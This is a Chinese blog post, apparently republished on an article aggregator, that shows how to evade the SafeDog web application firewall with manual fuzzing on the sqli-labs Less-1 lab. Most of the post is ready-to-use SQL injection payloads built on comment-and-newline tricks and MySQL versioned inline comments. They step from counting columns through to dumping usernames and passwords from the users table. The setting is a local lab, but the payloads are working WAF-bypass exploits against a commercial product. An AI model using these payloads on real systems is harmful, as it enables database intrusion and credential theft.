本文主要是介绍Bypass安全狗,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
0x00 手工fuzz绕过安全狗
环境
安全狗最新ApacheV4.0版(Windows)
Sqli-lab-Less-1
Phpstudy集成环境:Apache2.4.39、Mysql5.5.29
Sqli-lab-Less-1中包含了联合查询、报错注入、布尔盲注、时间延时盲注等注入姿势,方便我们进行测试。
1、fuzz安全狗拦截策略
http://192.168.174.136/sqli-labs-master/sqli-labs-master/Less-1/?id=1' 报错且不拦截
http://192.168.174.136/sqli-labs-master/sqli--master/Less-1/?id=1' and '1'='1 --+ 拦截
http://192.168.174.136/sqli-labs-master/sqli-labs-master/Less-1/?id=1' and 不拦截,所以判断and后接数字则触发规则
通过burp加载字典对其进行fuzz,发现/*/%0a*a*/未触发规则
该处采用换行加注释进行绕过,其中/**/为mysql注释符,将中间内容注释不执行
通过and ’1‘=‘1判断页面返回正常,并未触发安全狗
通过and ’1‘=‘2判断页面返回不同,确定为字符型注入
2、查询字段数
1'order/*/%0a*a*/by 3%23 不报错
1'order/*/%0a*a*/by 4%23 报错则判断当前字段为3列
正常payload被拦截
使用上面payload即可绕过
3、联合查询
使用上面payload发现被安全狗拦截
多次尝试发现在其再次加入注释即可绕过
此处使用/*!88888www.safedog.dog*/即可绕过,在mysql中存在特性,/*!*/中的数字大于当前数据库版本号则不执行,反之则执行,这个特性常常用于过waf,另外注释中的数字常常为五位数。
最终payload为 :
-1'union/*/%0a*a*//*!88888www.safedog.dog*/ select 1,2,3/**/%23
显示位为Your Login name和Your Password
4、查询当前库名
先利用以上payload进行测试
-1'union/*/%0a*a*//*!88888www.safedog.dog*/ select 1,2,database()/**/%23
多次测试发现拦截字段database()
在database和()中间加入之前payload即可绕过
最终的payload为
-1'union/*/%0a*a*//*!88888www.safedog.dog*/ select 1,2,database/*/%0a*a*/()%23
5、查询所有数据库名称
同样利用以上payload尝试发现安全狗对from和information_schema.schemata进行拦截,再次通过字典对其fuzz,首先对from进行fuzz,使其不触发规则即可
from可以使用注释加换行可以绕过/*! --+/*123%0a%0a from对于information_schema.schemata,将其字段通过内联注释混淆即可最终语句为
-1' union/*/%0a*a*//*!88888www.safedog.dog*/select/**/1,2,(select/**//*!88888www.safedog.dog*/group_concat(schema_name) from/*!--+/*%0a information_schema./*!schemata*/)%23
通过fuzz方式发现下列语句也可绕过
-1' union/*//--/*//*!--+/*%0aselect/*//--/*//*!--+/*%0a1,2,(select/*//--/*//*!--+/*%0agroup_concat(schema_name) from/*//--/*//*!--+/*%0a information_schema./*!schemata*/)%23
主要绕过字段为/*//--/*//*!--+/*%0a
6、获取表名
http://192.168.174.136/sqli-labs-master/sqli-labs-master/Less-1/?id=-1%27%20union/*/%0a*a*//*!88888www.safedog.dog*/%20select%201,2,(select%20group_concat(table_name)%20/*!%20--+/*123%0a%0afrom%20information_schema./*!tables*/ where table_schema='security')%23
7、获取字段名
http://192.168.174.136/sqli-labs-master/sqli-labs-master/Less-1/?id=-1' union /*/%0a*a*//*!88888www.safedog.dog*/select /*/%0a*a*//*!88888www.safedog.dog*/1,2,group_concat(column_name) from /*!--+/*%0ainformation_schema./*!columns*/ where table_name='users' --+
8、获取数据
http://192.168.174.136/sqli-labs-master/sqli-labs-master/Less-1/?id=-1' union /*/%0a*a*//*!88888www.safedog.dog*/ select 1,2, group_concat(concat_ws(0x7e,username, password)) from security.users --+
参考文章:https://blog.csdn.net/weixin_54648419/article/details/117285917
这篇关于Bypass安全狗的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!